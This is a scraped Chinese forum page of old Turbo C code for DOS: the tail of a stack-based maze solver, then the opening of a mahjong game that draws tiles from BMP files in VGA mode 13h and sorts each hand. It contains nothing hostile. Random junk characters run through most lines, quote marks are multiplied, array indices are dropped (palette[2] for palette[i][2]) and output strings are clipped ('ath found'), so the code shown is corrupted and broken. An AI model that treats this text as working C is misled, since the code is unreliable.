maze[seat.x][seat.y].mark=-1;$ [* V; H# n. e6 ?  ]0 [5 m3 P- p
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
# X' i' w+ j! y" u( ?} /* MarkPrint */
* {/ ~, t/ I( N% ?void FootPrint(PosType curpos)
/ n3 S$ [% [: r) X9 z/ f/ Z# h) G/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
6 y( V3 T$ m/ ?7 R{/ ^2 X; j% S( |* t* E/ G
maze[curpos.x][curpos.y].foot=1;. j: _9 o% ?& P, q$ z' C- ~6 ?( l
} /* FootPrint */
2 c7 m7 X; K% {PosType NextPos(PosType seat,int di), W% c% y/ A; n! A; F2 e
{; U6 D* `( M+ B7 a6 i+ B/ k! C+ `
switch(di)
, S& F# v- H$ E{5 P! z1 e4 ~+ g! P# r
case 1: seat.y++; return seat; /* Eastward *// b; a3 ^9 k2 h7 c5 ?, N' W
case 2: seat.x++; return seat; /* Southward */  j5 @$ m* n' Z5 A: l; n1 }4 f
case 3: seat.y--; return seat; /* Westward */
0 c8 L2 d$ A( T/ s" E' kcase 4: seat.x--; return seat; /* Northward */! J5 y) @; Q- a! ~
default: seat.x=0; seat.y=0; return seat;2 Y# {7 J8 v; _! q
}9 h( j: p0 f9 ?1 X8 ?
} /* NextPos */! K8 ^$ o- c1 i7 D' L8 B: R
3 Z5 X" N5 _$ i, M. k) }. e
/* The key to the program. */1 s% m& k: J9 ^0 d4 f: x/ V3 D
/* Pre: The maze array &amp; the startplace &amp; the endplace.% h8 p& r* |6 z1 [+ x7 U* k% @6 D
Post: Find the one traverse of the maze and perform the mazepath.; h) e( K" q' J6 o* y
Uses: The ADT stack class.4 I  p' F1 P2 C: }( E: o- y- }2 p
*/
$ x. A, v8 w; l: F/ N# i' i, WStatus MazePath(PosType start,PosType end), a' y- N+ T8 C, J6 Z
{
! L& C  J& N8 ^' }3 j6 yPosType curpos;' P- K5 ]3 n& J+ D) z) e" b
int curstep;
, m' ]1 k. c) g1 W! [SElemType e;
3 w: A! |+ {( M' KStack *s,stack;
, x) e$ O; z# c: ~  jstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));  }2 G! ]8 |. I1 a* ?* ~: p& ~
if(!stack.base) Error("Overflow");3 `! j# u. E7 m) `: |% a0 J
stack.top=stack.base;0 ~% o( y  D5 f& I! c. U
stack.stacksize=STACK_INIT_SIZE;
( V- X& s+ ~- _5 i0 k$ `' ~s=&amp;stack;, t, M2 l" b3 s+ m$ i- f
curpos=start;) o% F$ J& N9 |  K
curstep=1;& d5 W3 |4 m$ A. H( x) y
do
, p4 C* S- g" [) t6 x{
; H; a4 w+ `& O1 Gif(Pass(curpos))
7 R0 @) r+ v3 O8 I! q4 P" m8 e{
! E6 t9 x. d  ?; Z. Z6 UFootPrint(curpos);1 k, P  G' E7 z3 F9 N. C* C
e.ord=curstep; e.seat=curpos; e.di=1;
/ v7 ~; c0 n' Z$ f# Tgotoxy((curpos.y+1)*2,curpos.x+2);3 ~, M5 m+ L9 f: E0 w: O
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');8 E" J( X  I# ^3 _) x8 _6 X
delay(8000); /* pospone time. */
/ A! R9 w1 W, w& X7 APush(s,e);
2 x6 M$ {. P& e( m$ W* Aif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */; j2 J1 Q- s1 O8 d: v3 e
{
+ M6 C' A* K# s8 b0 ZDestroyStack(s);) N( f* F/ ^! S0 c
return TRUE;
! ^$ X9 _8 t5 T- j) a. K5 o}& }# g* s2 E3 {% c/ o
curpos=NextPos(curpos,1); /* Try next position. */& y4 W8 t1 f0 B: [! F2 ]: l
curstep++;
3 f  V2 C/ n' [}
$ }3 C( b. V  P/ Pelse
) S4 i+ r1 n" [3 W/ n( q1 R8 T{# [& V. a. Y6 B2 d; C
if(!StackEmpty(s))
, g6 M3 @4 P2 W+ C% z{
7 X+ f" b7 r* M' B! Ge=Pop(s,e); /* Removed e from s. */
6 ~( t$ A  g0 s1 G0 d$ Qwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked- R( E- e% r: b. p; n# H
and s is not empty. */
4 E# L- @6 R: K4 N$ W{
) p- G: h! k4 d# g. c5 J( KMarkPrint(e.seat);! v' O  V( K7 a
gotoxy((e.seat.y+1)*2,e.seat.x+2);
5 H$ E, K) K, C6 qputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
, U' e- |0 O. D, d8 \, o3 ?1 G8 ndelay(8000); /* Pospone time. */
, g' |/ E5 q9 p7 }; o$ \gotoxy((e.seat.y+1)*2,e.seat.x+2);
1 Y3 v, Y" Y$ K1 z, `putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');/ B" q- S% ?; V- L/ J) q% N
e=Pop(s,e); /* Remove e from s. */3 c  A# W5 h/ l+ n
curstep--;6 @0 ]5 a, ?! n9 z6 @
}3 n9 o1 b3 r" x! q$ s# y" q/ X
if(e.di&lt;4) /* The current position hasnot been checked. */
/ t* R, }  l2 D2 B- g{
5 K/ f, W) _% Q# Te.di++;. J$ e4 P; `, Z+ l) _4 {
Push(s,e); /* Insert e into s. */
0 k- ]; U" P: wcurpos=NextPos(e.seat,e.di); /* Try next position. */
" g# q( A! h  m5 t. }}
5 y9 X' Z3 d. ?/ R1 l8 @' B) g5 T}! w; d2 r; f  C# M1 p& P- b" v- m
}4 r$ p1 r) \  ~% c4 K" ?! l
}
, B5 g  Q1 n' t% M1 c% Z7 cwhile(!StackEmpty(s));
* k- o% s- @  y" I. BDestroyStack(s);
4 B) m; _6 t4 D4 s9 Wreturn FALSE;
+ C6 }* |- I( g: q/ f} /* MazePath */- J7 T+ o3 C5 h7 `: f' X
void main()
0 j; V: l8 G* s/ v2 D' {, G- Q{
$ H  q: W( Z$ h8 yPosType start,end;
  |4 x* h% V. c2 u5 y' M* u/ H; [CreatMaze();
! q/ a! X  F$ O# p. i% Fstart.x=StartPlace.y;
/ C2 Z$ A. _5 e( g$ }! Wstart.y=StartPlace.x;3 v2 I% f: x% N! M. U3 ^! l  M
end.x=EndPlace.y;$ e5 {/ e+ s0 S8 c
end.y=EndPlace.x;8 f$ |1 u  p9 p4 p
if(MazePath(start,end))* @( z1 j$ S5 F9 g5 w) B
{
( U& r, a* ~3 @- p* v3 ^3 T2 fgotoxy(2,22);
& I( `  T1 E7 ~8 N9 a; I8 Yprintf("ath found\n");
" e/ \, y1 ?$ `! ^# D5 [8 c}+ J4 ^; F! E5 |9 m! P
else, W% A! q$ s5 Y- U$ S) _' h% @  e1 d
{
0 f7 F0 x' I0 o% h1 Ogotoxy(2,22);* g) s8 S+ O" G: i
printf("ath not found\n");
: m6 A8 C( R% g; z: u) e}$ h0 X9 f1 W" [2 A& _+ r5 ?
getch();
$ j8 D& V9 x7 d: M+ L: kclrscr();' F. P3 E3 X7 S; z% l+ p
} </P></DIV>
作者: 韩冰    时间: 2004-10-4 02:36
<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传' ^$ i$ u# W# v2 e* u  f; m
/*天宇软件1 E5 K# Z& L. K- F
作者:上海黑暗之龙8 W& o1 q) ?3 n7 d8 j" g
2002/10/30
6 o, ]6 k6 M0 o( t9 L; F/ K麻将原代码*/! S! B, ~! M7 }9 f$ ?
#include "dos.h"
/ U; }& K6 k6 ?9 J0 x$ Y#include "stdio.h"
# a$ R6 f& i: @& @#include "graphics.h"
0 y! `2 M! U' a#include "bios.h"
. \0 F4 f" _8 Q9 I! S  K' y1 }* Y#include "conio.h"( B& e# ]! C5 g7 l5 X  G. N
#include "stdlib.h"( `. {  n4 T* v5 w
unsigned char far *video_buffer=(char far *)0xA0000000L;
! [# D8 @& g' s/ Q) t6 V% ]' v#define VGA256 0x13 /*图形模式13h*/' o6 o+ c* k. ?: u
#define TEXT_MODE 0x03 /*普通文本模式*/
% B* l; K: b. H% y#define SETVGA Set_Video_Mode(VGA256)* ~4 u5 N$ d; y: V4 `9 q+ }
#define OUTVGA Set_Video_Mode(TEXT_MODE)
/ R. ]3 _- l& ?; I#define BYTE unsigned char+ p8 \' L! \8 ?. }7 o# v5 Y
#define WORD unsigned int
6 C. M6 B( m8 R& O. F#define DWORD unsigned int
& f$ ], i; E& }7 v#define ESC 283; T8 @+ u6 o$ Z4 s
#define LEFT 19200
2 P$ T& G2 F: m- e7 Z6 W#define RIGHT 19712
$ _4 R$ `; t; `0 f7 l5 ?# {#define H 9064& T% i' F; C* Q  P' X; S
#define ENTER 7181: Y! [0 M! C% u( _, C* P" V" ?
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
" T8 H6 W9 D9 a5 wint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
6 e" z+ z! Z, E9 rstruct chi
+ r9 P% \- g3 k0 {4 L{
- Z% |+ g# n7 y& V# D8 Oint lg;$ [" i3 H  J; c4 `9 c  p/ h* m5 n% S
int lgg;
, b* E# h" Y+ |% u: m* `}ch[13];( Z  t7 B; U9 b) {0 w7 t0 @
struct mj
) a7 y" ?" Z. Y" S$ I{ char *name; /*名字*/) _$ {4 q( c0 A& ]2 b' o9 N: w
int data1; /*是否已出,无用了*/
; B9 J$ z' z$ H( g: o% lint data2; /*是否在手中,1为自己,2为对方*/
) K2 C' M# E  I, [+ ~1 s  l) [) Kint number; /*同一个花色的第几张,共4张*/
6 E+ [4 v$ f* z1 x/ @; R7 N; p$ \}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
4 s7 P( o7 N! `( n4 u2 i4 N"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,2 X2 `6 X0 x- o4 V
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,8 Z8 M! }; @* A2 e( d) ]0 U  [  `
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
/ X2 v2 v  b6 b# A"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
# f9 |$ l: Z5 E) f"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,6 P! @/ k9 Q# A9 i5 f/ ~$ V
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,: C/ I: I2 l! e
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
$ p: {6 P* I8 Y9 N& s$ D6 Q"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1," A; V1 X% U8 f; L2 N9 ~0 x
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
9 h1 \! k' |/ _) S1 L: o"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,3 Y( T# t+ H4 p# n% C! u/ n" t: Z
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,! t+ `) q' f6 r4 M
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
  D. o/ k+ @. I' {"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
5 T$ W. A9 P. ]6 i/ }% e"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,, K' Z( d. n6 w' \9 L. {4 p3 l3 j
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,$ s7 b0 B! }" B8 x& p3 E4 ]
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,  ^! L# N! N0 V7 J# F
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,) Q- z- @" @7 _" c" p. J) s
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
- o2 _4 G1 E- g$ N6 @$ D' b"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4," W5 c) y: g. v! T
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
' }0 i) |7 r; n) A( P& R' C7 m- Q"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
, N/ w" O& D, }% H: G* j"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
8 I# {, {7 H+ I3 C; @"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,% D+ ^0 B# Z" i/ o8 y2 x, X+ k6 r: g
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,9 Y  [& U" G' F9 f
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
& ?; i+ A4 h  x: ^3 Z" _: n2 F# `"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,. w2 A/ |, F) w! A1 w8 p2 h3 N
"34.bmp"};
4 O% y! Y' R3 jstruct every! N% K9 s- ?, [5 L; n
{ int *k; /*名字*/4 D9 c8 n8 V6 S: o& x" L" Y
int oneorfour; /*同一张牌的第几张*/5 z% [6 `/ s+ ]. V
int number; /*第几张牌136*/2 s% ]4 K! L% ?% `; Y
int p;# g: h, n5 H4 v8 f- z3 j5 }" K
int g;
' J7 b% L9 v' n9 L6 `- N2 k3 V* eint c;
, |- V1 Y. m' `& uint d[2];
; S0 V. @$ x& q; n% G};
. j% j3 `) U. ^# tstruct me: ]1 t& n( R) }/ @
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
3 s+ Y/ e4 Z0 {2 i. _" r; \" `5 Nint p; /*乓对方*/) [4 Q. l( {* {5 a. H
int c; /*吃对方*/
1 y; W( t7 K. }9 J. x7 `/ ~' H" Bint g; /*杠*/) g1 _4 h8 K: L- m2 ^2 q! Z! t% `# i

+ Q& X  t: ^6 kstruct every pp[14]; /*存放手上的牌*/
. K; X( _+ G3 q5 |}me;! D8 \5 E0 Z0 b2 t" l
struct computer
" ^/ X3 X4 B$ t1 ^4 i- O( p{ int m;
1 |; o! m- x+ o. W' n1 jint p;8 ]$ s1 P, t. O! R9 B& ]
int c;
: f# _6 a1 m3 A+ |1 ~4 u9 Y) yint g;( K* Z3 g! V+ P) r
struct every pp[14];
: |) H1 d9 S4 S  f9 s8 U! U$ i}computer,comp;
  z$ h8 d5 l/ R: D. U# G: x% X. v. m9 h
/* 设置调色板 */
  \" N" q, @5 Y9 y: i$ zvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
7 B# z! H- J8 z& K+ M{
0 K* b+ j" h2 g! woutportb(0x3c8,Color); /*0x3c8写端口 写色号*/
8 k  L, G$ a3 Z/ a1 A: q# K0 Routportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/8 v* ^7 b7 B/ }+ p, |2 O! r% s; s
outportb(0x3c9,g);
0 p) n- g/ O8 C- w. xoutportb(0x3c9,b);
! r. \1 o" n% H& r' @}
1 C  e( I4 H" `( M9 g9 B" G# L' L/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
5 u% n& D: f  i+ x/* 设置显示模式的函数 */
8 H  p: v2 V. I( hvoid Set_Video_Mode(int mode)/ v1 l1 F3 \5 F! c7 ~+ z
{; T9 x4 S3 s8 S+ h
union REGS inregs,outregs; /*定义输入和返回寄存器*/% g* A7 ~7 [- y
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/2 w, ^1 j, [6 Y
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
" ?+ W- g. {/ B- ?int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
* {( _8 q9 b1 z# [2 D, h" |}4 H! Q* n+ q6 R
void v_line(int y0,int y1,int x,unsigned int color), P4 M& R) P. ?0 T( x4 e! M
{ unsigned int address,n,temp;
! O! C0 k0 `: W( w; G) x/ s9 |7 Dif(y0&gt;y1)) S( @# n" z! h
{
3 w) o% r8 Q  W1 t; h* Etemp=y1;
7 @0 o4 {: u4 K4 J, G0 ]y1=y0;
1 O5 P! q. k: `! uy0=temp;
0 j) @! B8 ]2 t1 e# a9 z$ W}
( O6 U( V) j: @+ y; Raddress=320*y0+x;1 y; G: o2 ]! |- C8 v$ C
for(n=0;n&lt;=y1-y0;n++)7 N' W9 s) m; }3 I
{
% y/ g) G/ ?3 }& k) y& Q( N" \video_buffer[address]=color;0 {" p) \# ^/ V+ ]$ L- M; {
address+=320;+ D/ k  A- Z/ l3 e1 `  ?
}
7 H2 y8 q' h" B. P1 d$ O}
( E! |5 h  S) W  M3 @void h_line(int x0,int x1,int y,unsigned int color)
0 @( O" @$ U0 f& \% U{ unsigned int address,n,temp;
" y$ Q5 p/ }9 x! W9 u9 [6 l5 Mif(x0&gt;x1), i$ }/ v* g" N
{
7 b. j, L9 d0 Y% xtemp=x1;
) d6 l3 y% q* `$ T, a; ux1=x0;2 J/ Q( w6 l, Y: N: V
x0=temp;# d0 Q' q) ^, o$ \; T; X
}
' I4 i$ w3 ^6 r0 \/ e: y7 }address=320*y+x0;
8 ~/ M2 V# h" L4 I+ U, E. q7 a. jfor(n=0;n&lt;=x1-x0;n++)* k! F7 ~# c$ r7 u. j4 f7 k
{/ J/ U5 g% k: ]; Q4 ?
video_buffer[address]=color;
6 l  A8 w- k3 f0 w+ k# E1 Xaddress+=1;
% D  b, U5 x) g: F% \}
0 u1 H7 K; |, l}- Y" S5 M; S3 Z1 X# u8 m
void p_pixel(int x,int y,unsigned int color)
4 d' ~+ a/ U: |: X  b- X. o! n{ video_buffer[y*320+x]=color;3 @- w% l4 G- [0 G. ]9 x
}
9 a) p$ ]9 j- \4 \1 {$ n0 t9 rvoid s_square(int x,int y,int side,int color)% s# d8 h+ ~/ |- U
{
7 r  D( [, @4 X4 c# C5 `h_line(x,x+side,y,color);
8 V' w- d, w; P4 q! W8 K3 ^; S6 z8 dh_line(x,x+side,y+side,color);3 `* R9 w' E, ^
v_line(y,y+side,x,color);( e% f" u  y! T% ~% E& |/ o
v_line(y,y+side,x+side,color);; i, R/ C; Q1 Q
}
/ n4 T& h4 j" L2 g  i+ X- kvoid r_rectangle(int x1,int y1,int x2,int y2,int color)
# \$ X, E, T1 J) d8 p! Q3 h{
# i/ ]9 \$ G. a; J) L% {) I; G6 Vh_line(x1,x2,y1,color);' u8 N" r8 K3 P. H: M: L/ p
h_line(x1,x2,y2,color);
# J6 S) P: q  x, e8 sv_line(y1,y2,x1,color);
  c5 \3 D5 `& p1 Z" Bv_line(y1,y2,x2,color);  a8 b* S. }* Z, [: i
}
5 Q( e5 b' T2 Yvoid fillRectangle(int x1,int y1,int x2,int y2,int color)0 ?& [' ^/ i4 q; f2 k/ Z* [8 A
{
& I. }( M. h. l6 Sint i;
5 Q" k  p8 E  ~3 }& W/ w* Bfor(i=y1;i&lt;=y2;i++)) @) P7 i8 ?8 r
{
9 Q3 [, e5 e& I) p* Hh_line(x1,x2,i,color);! U: E7 Z# k! o0 }
}
& v( Z( I2 m0 ?3 R0 F}
1 j8 ?0 [" z1 M! mvoid showbmp(int l)$ N1 g+ |' \$ T6 k2 R7 o. \
{ FILE *bmp;8 a  S# C; t; j
int i,x,y;8 S6 F& Q6 {- ~3 j% B
BYTE palette[256][3];( H. W: s% P& k0 t+ m* i" }
bmp=fopen(me.pp[l].k,"rb");( M: B) I! N& P
fseek(bmp,54,SEEK_SET);
" n( {9 }8 [) F* R$ E0 y3 Xfor(i=0;i&lt;256;i++)
0 b1 m4 s- N3 m6 t9 H: z9 M{
2 K9 H6 L! F" C2 ]- G$ l$ ^palette[2]=fgetc(bmp)&gt;&gt;2;+ c4 k2 y, h7 l3 R: `
palette[1]=fgetc(bmp)&gt;&gt;2;
9 q0 i' X5 G1 Q' o  Q* Gpalette[0]=fgetc(bmp)&gt;&gt;2;
/ M2 O8 h/ V5 A9 Xfgetc(bmp);
. Z% j0 e4 r8 o, iSet_Palette(i,palette[0],palette[1],palette[2]);
9 e! s) u+ @# R. ~}
) p: \" w* _1 T1 M" a* Ofor (y=0;y&lt;30;y++)
1 W! [  l. c, t) i- z2 Xfor(x=0;x&lt;20;x++); f3 V1 c' T8 a* I, X# _
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));+ Y! v7 E" Q1 v1 y* `2 ], h: J
fclose(bmp);: V2 Z/ i- k, k) h2 V& ?
}% w" H5 z( \8 \  m
void showbmpd(int l)0 n$ _8 g' E5 X" N) c; B  z: l  H
{ FILE *bmp;! [  z# Y- h. e" h- n, I
int i,x,y;: K7 v) w/ w$ L5 L
BYTE palette[256][3];9 J9 a  _# L, l' V
bmp=fopen(me.pp[l].k,"rb");
3 {/ }* k1 X" N, q) t1 @fseek(bmp,54,SEEK_SET);
  A/ z* v+ u' r& ^( `. |for(i=0;i&lt;256;i++)
8 f2 e" S1 x' J- A  U{, e4 A" H: l! Q0 i
palette[2]=fgetc(bmp)&gt;&gt;2;
# D* ^( D6 h5 S$ C: cpalette[1]=fgetc(bmp)&gt;&gt;2;
- N. Z% y# B" a7 |2 Cpalette[0]=fgetc(bmp)&gt;&gt;2;1 J! ?4 A# h' w
fgetc(bmp);
& _2 n. E4 u, M6 K0 c  [Set_Palette(i,palette[0],palette[1],palette[2]);( S0 c8 z2 @/ b
}7 {. M9 n, {6 i  j
for (y=0;y&lt;30;y++)
# K( G" p% X5 kfor(x=0;x&lt;20;x++)* C- ?7 W* E) K$ U4 H
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
8 u! @0 D0 M$ G$ B0 a+ Ifclose(bmp);
- I6 T* Z. h+ h: h# `; f0 h# C- k}
" p4 V" c7 k! t9 G, n+ K9 G& ivoid showybmp(int ll)7 |5 X8 \' {3 K) O
{ FILE *bmp;
3 T( D" r6 z  k4 Cint i,x,y;4 z: m- ^# P0 s) Z  Q% L8 @
BYTE palette[256][3];; V) n, S0 Z. U" ~4 Z
bmp=fopen(computer.pp[ll].k,"rb");
9 ^2 X0 z+ k" }* ~fseek(bmp,54,SEEK_SET);
$ f& y" l/ {: G, q9 `* d3 t: w( a" `6 Yfor(i=0;i&lt;256;i++)
) d( i* ~. O* ^9 d{' t# p8 u. L) B% ?
palette[2]=fgetc(bmp)&gt;&gt;2;
: c, {# |5 s; B3 c' |( o  [palette[1]=fgetc(bmp)&gt;&gt;2;
0 m7 @6 @6 O7 }0 D1 spalette[0]=fgetc(bmp)&gt;&gt;2;
0 U  W, q8 @  B* n% K) Q3 Q$ efgetc(bmp);
9 v: k" c& T( JSet_Palette(i,palette[0],palette[1],palette[2]);0 g' n: C& Y. h( t1 q/ K: Q6 I8 ?6 \
}0 y9 B: V. }6 t1 G# o3 L
for (y=0;y&lt;30;y++)
0 e, _+ M  M! m! Z. ?+ Zfor(x=0;x&lt;20;x++)
  w* C# }& J) xpokeb(0xa000,y*320+x+zy,fgetc(bmp));
3 Z8 z" ?+ k" I) Q% Dfclose(bmp);
# P4 h# q# _" |5 P}
9 C$ `) f4 u! f& x, n3 ^void showcbmp(int ll)6 v$ X8 h" M% a, f0 v1 i# {
{ FILE *bmp;
$ E) R2 b7 D, l& ?% qint i,x,y;
8 e% _) N9 M0 W( b* aBYTE palette[256][3];
+ ^( h" S% i7 o. o! wbmp=fopen(computer.pp[ll].k,"rb");1 j$ H. \5 g2 r
fseek(bmp,54,SEEK_SET);
8 h( q0 l/ |; Pfor(i=0;i&lt;256;i++)
! H- V7 j8 |0 m! Q8 `# l, @{$ _8 C' V+ D2 T$ t
palette[2]=fgetc(bmp)&gt;&gt;2;7 Y5 h2 l; ]- y3 G( U! B; r. k
palette[1]=fgetc(bmp)&gt;&gt;2;$ ?1 I& L5 g) q$ W) X( ^( _$ n. g
palette[0]=fgetc(bmp)&gt;&gt;2;: v) w) w4 z# A7 l  [
fgetc(bmp);
, \. |/ C& \# n0 q8 t. {1 RSet_Palette(i,palette[0],palette[1],palette[2]);- ^* n" t) P8 D" w4 a
}7 D; j: r7 G5 z, Z- j) X" H
for (y=0;y&lt;30;y++)
' u3 \! j# c7 b! M9 H" J. dfor(x=0;x&lt;20;x++)
& U* I8 Y: p" O8 apokeb(0xa000,y*320+x+zyy,fgetc(bmp));
3 {: I) a6 y- c5 X6 P. e8 Ifclose(bmp);$ q7 k: U/ ?1 @4 N
}
# S% ?, b# w2 Kvoid bmpp(int number)# v" D% N' w7 {' _2 d) V  E
{ FILE *bmp;
( k7 W3 r* @: \( p# [8 i) x5 z) `! Tint i,x,y;! E% a! k/ Y4 F. ~8 |0 I6 v+ w
BYTE palette[256][3];+ F+ o( `! }- G: a  t4 V
bmp=fopen(m[number].name,"rb");2 O% L% O. e1 Z7 U2 T% f/ y
fseek(bmp,54,SEEK_SET);: k1 F1 G8 `+ N2 _. ]' B2 E
for(i=0;i&lt;256;i++)& d- ^- V+ m6 |3 s  F  l
{" H* n% C; V# V$ I. |
palette[2]=fgetc(bmp)&gt;&gt;2;
, q, v* t. {" I! M8 @* V% r3 o3 Gpalette[1]=fgetc(bmp)&gt;&gt;2;
5 d% o/ a5 y& y7 u! wpalette[0]=fgetc(bmp)&gt;&gt;2;
* K: J; |) |' M- Zfgetc(bmp);
# x! R' K' D( K4 L% Y9 I, |Set_Palette(i,palette[0],palette[1],palette[2]);
6 \! R0 {4 S& L* A& _: O}) g. R+ V' D  c  B. t2 h# T/ ?
for (y=0;y&lt;30;y++)
/ ~, r- W- s: c" n, `; t1 C" j& Pfor(x=0;x&lt;20;x++)
! ]2 N  E0 ~$ C) F9 J) apokeb(0xa000,y*320+x+zl,fgetc(bmp));: Y0 s% S/ _6 y$ h2 m' v7 j& X- }
fclose(bmp);/ s: n. ?8 |) v. P* L' m
}
9 ?, K! {& W5 y/ @- zvoid comlipai() /*整理电脑的牌*/
& C1 ?! o8 A% V- K5 Y3 L{ int n,j,u;7 f  c+ |2 Y; W% v( H( ]6 s
int *lingshi;
, r/ ^. E8 Q7 _: d( H" K& C4 H: ~for(n=0;n&lt;computer.m;n++)7 }# h5 f8 V4 B! j
for(j=n;j&lt;computer.m;j++)8 u4 q% y: u, ^# O3 I4 x
{' }; x  z( N6 d5 j" v
if(computer.pp[n].number&gt;computer.pp[j+1].number)8 b  X3 C7 |# [1 R- D% ^+ Q2 D
{
5 c) k5 q7 v; T( ?4 c  ^lingshi=computer.pp[n].k;7 L  S. R# y. w5 E. \# `, E
computer.pp[n].k=computer.pp[j+1].k;2 l- }5 b9 h7 M" F" ~$ ^8 R
computer.pp[j+1].k=lingshi;5 x4 Y# B) Y; K
u=computer.pp[n].oneorfour;
9 P- m$ E; F8 X, B1 K$ [computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
3 g8 G1 ?% x" M0 Qcomputer.pp[j+1].oneorfour=u;8 \( g- O- `* A3 x
u=computer.pp[n].number;; X1 l8 J3 b* {, U( N8 W9 x! U
computer.pp[n].number=computer.pp[j+1].number;
& \; O6 K- q( G  |: h# a; Vcomputer.pp[j+1].number=u;- n/ t( t- |) A+ _# P1 ^1 e
}$ b4 m1 y- ]/ I- m
else
# g9 c6 j- @& |if(computer.pp[n].number==computer.pp[j+1].number)
% r6 ?/ C; n) Sif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)3 h1 }1 }0 T  ^
{
+ t0 M; {" Y5 B- Mlingshi=computer.pp[n].k;9 i- E+ r+ e. \9 r' O3 b
computer.pp[n].k=computer.pp[j+1].k;* p- G0 ?' P: G- L
computer.pp[j+1].k=lingshi;
: |- m2 ^9 p' hu=computer.pp[n].oneorfour;
) D0 w% o1 Y6 a1 L2 s3 j4 I' k5 Vcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;% ?' C6 @- M# m3 J6 n# }
computer.pp[j+1].oneorfour=u;
- y4 ^( @0 t$ au=computer.pp[n].number;
% ?' O1 ]3 ?% A7 T  J5 scomputer.pp[n].number=computer.pp[j+1].number;
  P3 m+ m. S3 {9 ?computer.pp[j+1].number=u;
% S5 _9 D: v, A; E$ r$ m8 f6 B}- s& D" B1 u$ e! r: a) z( w  ]
}. m+ ~- l# q" ]- L& R& D7 l; h3 K
}
- z7 Y( C* C& f7 f$ \6 zvoid melipai()
! n9 I1 d4 M3 v( I# E{ int n,j,u;! w0 k9 {5 Z) o! k7 k1 M9 i% j
